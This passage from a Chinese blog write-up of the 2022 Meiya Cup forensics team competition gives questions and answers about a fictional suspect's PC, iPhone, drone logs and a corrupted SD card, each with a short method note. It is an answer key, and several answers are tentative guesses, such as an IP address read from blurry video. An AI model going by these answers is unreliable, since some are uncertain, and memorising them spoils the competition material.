A. ost
B. xlsx
C. jpg
D. docx
查看公司pc的teamviewer的传输记录
结果为AB
80. [填空题]王景浩的计算机于2022年9月29日曾经接上一个虚拟专用网络 (Virtual Private Network - VPN)，这个VPN的IP地址是什么? (不要输入答案中的 '.'，以阿拉伯数字回答) (2分)
查看openvpn的配置文件
结果为61238217108
81. [填空题]装置 '「KingHoo」的iPhone' 的蓝牙媒体访问控制地址 (MAC Address) 是什么? (不要输入答案中的 '：' 或 '-' ，以大写英文及阿拉伯数字回答) (1分)
查看蓝牙信息
结果为C81EE74AF933
82. [单选题]王景浩何时将 '小宝' 加为iPhone XR的手机联络人 (Contact) ? (以时区UTC +8回答) (1分)
A. 2022年07月14日
B. 2022年07月15日
C. 2022年07月16日
D. 2022年07月17日
E. 2022年07月18日
结果为A
83. [单选题]王景浩的iPhone XR显示他的汇丰银行户口于2022年9月19日收到多少存款? (1分)
A. HKD298.8
B. HKD344.7
C. HKD396
D. HKD543
E. HKD465.1
查看短信记录
结果为B
84. [单选题]王景浩的iPhone XR没有收藏 (Bookmark) 哪家音响品牌的网页? (1分)
A. KEF
B. EDIFIER
C. BOSE
D. YAMAHA
E. Bowers & Wilkins
查看Safari的书签
结果为D
85. [单选题]王景浩的iPhone XR手机记录了他曾于2022年8月26日试飞无人机，当天试飞的地点在哪里? (2分)
A. 大埔海滨
B. 启德
C. 数码港
D. 西环
E. 将军澳
找到文件目录App/com.dji.golite
利用物联大师分析该目录
根据经纬度定位
这个位置在西环附近
结果为D
86. [单选题]王景浩于2022年8月26日试飞无人机的总飞行时间 (Total Flight Time) 多久? (2分)
A. 6分58秒
B. 8分10秒
C. 9分6秒
D. 11分1秒
E. 15分33秒
物联大师查看时间线，并分析高度，排除过低的记录后，时间大约在9分钟
结果为C
87. [多选题]王景浩用 iPhone XR 拍了一张照片'IMG_0012.HEIC'，那照片什么地方曾被修改? (3分)
A. 拍摄时间
B. 经纬度
C. 时区
D. 档案名称
E. 拍摄装备
手机大师分析出创建时间不匹配，图片元数据表示拍摄日期是2022-07-15 12:43:15
图片的位置信息与数据库中的位置信息不匹配
结果为AB
88. [填空题]承上题，那张照片修改后的经纬度是什么? (不要输入答案中的 '.'，将经纬度合并回答。如 22.2846135 114.1739116，需回答 2228461351141739116) (3分)
结合数据库、图片和图片exif信息，可以看到图片当中出现香港区旗，exif中的定位位置为香港，而数据库定位的位置为广州，同时图片exif信息显示的拍摄时间和修改时间均为2022-07-15 12:43:15，可以得出结论实际修改的内容为Photos.sqlite数据库中该图片的相关信息，因此答案应为数据库中记录的经纬度
结果为2286249931134190938
96. [填空题]王景浩 SD 记忆卡 (SD Memory Card) 的储存容量有多少个字节 (Byte) ? (以阿拉伯数字回答) (1分)
xways直接看
诶过为8004304896
97. [单选题]检视记忆卡上硬盘分区表 (Partition Table) 资讯，记忆卡共有多少个分区 (Partition) ? (1分)
A. 1
B. 2
C. 3
D. 4
E. 0
结果为2
98. [单选题]检视记忆卡上硬盘分区表资讯，第二个分区的分区代码 (Partition Code) 是什么? (1分)
A. 07
B. AF
C. 0C
D. 2B
E. 01
使用diskgenius搜索丢失分区后看到
结果为A
*99. [多选题]记忆卡的档案不能被读取，记忆卡受损的原因包括? (2分)
A. 目录项结构 (Directory Entry) 受损
B. 启动扇区表 (Master Boot Record) 受损
C. 文件分配表 (File Allocation Table - FAT) 受损
D. 引导扇区 (Boot Sector) 受损
E. 以上各项皆是
许多目录都多出了USBC坏道
但引导和fat并没有损坏
结果为AB
100. [填空题]承上题，通过分析及手动恢复还原，记忆卡里有多少个出錯的情况出现? (以阿拉伯数字回答) (3分)
通过使用后续数据+空白扇区覆盖的方式，进行修复，从头部开始，一直到结束的后一个空白扇区，复制并覆盖到USBC坏块的位置
结果为8
101. [多选题]记忆卡第一个文件系统 (File System) 中有一个图片档案，它的SHA-256哈希值是 'F7E003781456D2E01CFE0EB46988D5BB433ADF9841164BBB90BAC67C0C9B21AF'。该档案显示了哪些影像? (2分)
A. 人
B. 山
C. 汽车
D. 交通灯
E. 天空
计算哈希并过滤
结果为BE
102. [单选题]检视记忆卡的数据，在2022年10月9日约中午12时5分至12时15分之间的录像 (Video) 中，曾经出现哪一个IP地址? (2分)
A. 61.238.217.108
B. 155.137.190.123
C. 192.168.1.66
D. 185.200.100.242
E. 213.104.156.111
隐约能看到最后是242，不过中间好像是220，但是其他地方没有看到ip
结果为D
103. [填空题]恢复还原后的记忆卡中，第二个文件系统显示有多少个空闲簇 (Free Cluster)? (以阿拉伯数字回答) (2分)
xways查看最右侧
结果为2803109
104. [填空题]记忆卡第一个文件系统中有一个视频档，它的SHA-256哈希值是 '847E1E5FEF64B49C8D689DC3537D619B87666619A7C1EF0CC821153641847C19'，这个视频的档数据存在文件系统 (File System) 的最后的簇号 (Last Cluster Number) 是什么? (以阿拉伯数字回答) (2分)
筛选，查看簇
结果为522399
105. [单选题]尝试分析记忆卡数据結構受损的原因，通过合适的方法把数据恢复到原本没有出错的状况，记忆卡的SHA-256哈希值是什么？(3分)
A. E63DF0... ...8627D3
B. 3FD99E… ...17B6DE
C. 3BADAA… ...666A8F
D. BBB211… ...E00710
E. AA9E81… ...2C04FE
结果为C
30. [多选题]通过取证调查结果迸行分析 (包括但不限于以上问题及情节)，以下哪项关于王景浩的推断是正确的? (5分)
A. 曾经采用他的计算机入侵AGC集团网络
B. 傳播儿童色情物品
C. 于AGC集团取得大量客户资料
D. 通过VPN取得Rooney家里的IP地址
E. 企图更改AGC集团的网页文章来源：https://www.toymoban.com/news/detail-413795.html
结果为ACDE文章来源地址https://www.toymoban.com/news/detail-413795.html
到了这里，关于2022美亚杯团体赛的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
